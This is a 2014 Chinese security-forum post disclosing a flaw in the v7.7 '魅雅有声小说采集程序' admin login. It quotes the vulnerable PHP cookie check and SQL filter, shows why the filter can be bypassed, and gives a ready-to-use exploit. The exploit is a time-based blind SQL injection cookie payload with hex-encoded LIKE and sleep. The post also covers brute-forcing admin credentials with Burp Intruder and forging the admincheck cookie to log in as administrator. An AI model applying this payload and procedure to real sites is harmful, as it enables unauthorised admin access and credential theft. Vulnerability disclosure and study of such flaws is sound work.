切换风格

Wizard Sky California Sunset glow Black Cloud Beige Dragon Lavender NewYear City Snow Flowers London
收藏本站XSS平台字符串转换jsfuck
魅雅有声小说采集程序 v7.7过滤绕过,爆破,cookie欺骗,绕过登录[ CodeSec-2014-0007 ][复制链接]
发表于 2014-4-15 23:34:40 | 显示全部楼层 |!read_mode!

开发者漏洞预警 —— 魅雅有声小说采集程序 v7.7过滤绕过可爆破管理员密码可COOKIE欺骗绕过登录 [ CodeSec-2014-0007 ]

漏洞编号: CodeSec-2014-0007

漏洞标题: 魅雅有声小说采集程序 v7.7过滤绕过可爆破管理员密码可COOKIE欺骗绕过登录

漏洞类型: 逻辑漏洞

漏洞危害等级: 高危

漏洞状态: 漏洞发布,联系作者中...

漏洞细节:
见内容

修补方案:
完善过滤

源码地址:
http://psacms.com/thread-2536-1-1.html

论坛备份源码地址:
http://psacms.com/thread-2536-1-1.html

开发者回复: 暂无

漏洞文件:admin_art.php及后台所有调用chkLogin()函数的文件漏洞代码:
function chkLogin()
{
        global $db;
        $m_id = getCookie("adminid");
        $m_id = chkSql($m_id,true);
        $m_name = getCookie("adminname");
        $m_name = chkSql($m_name,true);
        if (!isN($m_name) && !isN($m_id)){//不等于null并且不等于""
                $row = $db->getRow("SELECT * FROM {pre}manager WHERE m_name='" . $m_name ."' AND m_id= '".$m_id ."' AND m_status ='1'");
//方便调试我这里随时输出了执行的sql
//echo "SELECT * FROM {pre}manager WHERE m_name='" . $m_name ."' AND m_id= '".$m_id ."' AND m_status ='1'";
//为了调试期间不跳转我中断了执行
//exit;
                if($row){
                        $loginValidate = md5($row["m_random"] . $row["m_name"] . $row["m_id"]);
                        if (getCookie("admincheck") != $loginValidate){ 
                           sCookie ("admincheck","");
                           die( "<script>top.location.href='index.php?action=login';</script>");
                        }
                }
                else{
                        sCookie ("admincheck","");
                    die("<script>top.location.href='index.php?action=login';</script>");
                }
        }
        else{
                die("<script>top.location.href='index.php?action=login';</script>");
        }
}


验证逻辑如下:
①过滤cookie值,避免SQL注入(此处可绕过)
function chkSql($str,$flag)
{
        $checkStr="<|>|%|%27|'|''|;|*|and|exec|dbcc|alter|drop|insert|select|update|delete|count|master|truncate|char|declare|where|set|declare|mid|chr";
        if (isN($str)){ return ""; }
        $arr=explode("|",$checkStr);
        for ($i=0;$i<count($arr);$i++){
                if (strpos(strtolower($str),$arr[$i]) >0){//如果str的开头包含' 符号 strpos将返回0,不执行if里的过滤~~~~
                        if ($flag==false){
                                switch ($arr[$i]){
                                        case "<":$re="<";break;
                                        case ">":$re=">";break;
                                        case "'":
                                        case "\"":$re=""";break;
                                        case ";":$re=";";break;
                                        default:$re="";break;
                                }
                                $str=str_replace($arr[$i],$re,$str);
                        }
                        else{
                                errMsg ("系统提示","数据中包含非法字符");
                        }
                }
        }
        return $str;
}




②isN()过滤是否cookie为空
function isN($str)
{
        if (is_null($str) || $str==''){ return true; }else{ return false;}
}

所以测试之前必须手动添加两个cookie(adminid和adminname)
我这里用的是chrome的cookie插件,没错 直接应用中心搜cookie即可安装


测试exp如下:
adminid=1
adminname=' || m_name LIKE 0x2561646D696E25 && sleep(2) ##

0x2561646D696E25是 bin2hex(%admin%)的值,为什么bin2hex?是为了躲过%的过滤。
所以chkLogin()中执行的sql会拼接为
SELECT * FROM {pre}manager WHERE m_name='' || m_name LIKE 0x2561646D696E25 && sleep(2) ##' AND m_id= '1' AND m_status ='1'


m_name LIKE 0x2561646D696E25  && sleep(2)
&& 是重点
a && b
a为真,则再检查b
a为假,则直接返回假
也就是说, m_name LIKE 'a%' 为真,那么会执行sleep,否则不会
先搞到m_name的长度,然后不断 a% ab% abc% 的匹配就行了,跑密码什么的一个道理


利用burpsuite的intrunder模块timeout列的功能,一位一位的爆破不是问题,当然要完全自动化就只有自己写了(欢迎提供此类脚本——!)
可以爆破出相同表里的m_name        m_password        m_random
最后就是设置cookie的admincheck值等于md5($row["m_random"] . $row["m_name"] . $row["m_id"])实现cookie欺骗登录后台了。


但。。。。。
如果php.ini开启了magic_quotes_gpc = On则chkLogin()中执行的sql会拼接为:
SELECT * FROM {pre}manager WHERE m_name='\' || m_name LIKE 0x2561646D696E25 && sleep(2) ##' AND m_id= '1' AND m_status ='1'


不过好像魔术引号5.3.0开始废弃5.4.0 会被移除,到时候我会再看这个程序有没有修补。





附件: 你需要登录才可以下载或查看附件。没有帐号?加入Team
操千曲而后晓声,观千剑而后识器。
发表于 2014-4-18 22:38:17 | 显示全部楼层
感觉杀伤力偏小~~!!
发表于 2014-4-18 23:35:14 | 显示全部楼层
其他地方应该也有 chsql好像是全局的过滤函数之一,有时间在一起挖挖吧

代码区

GMT+8, 2019-9-19 04:02

Powered by Discuz! X2

© 2001-2018 Comsenz Inc.

回顶部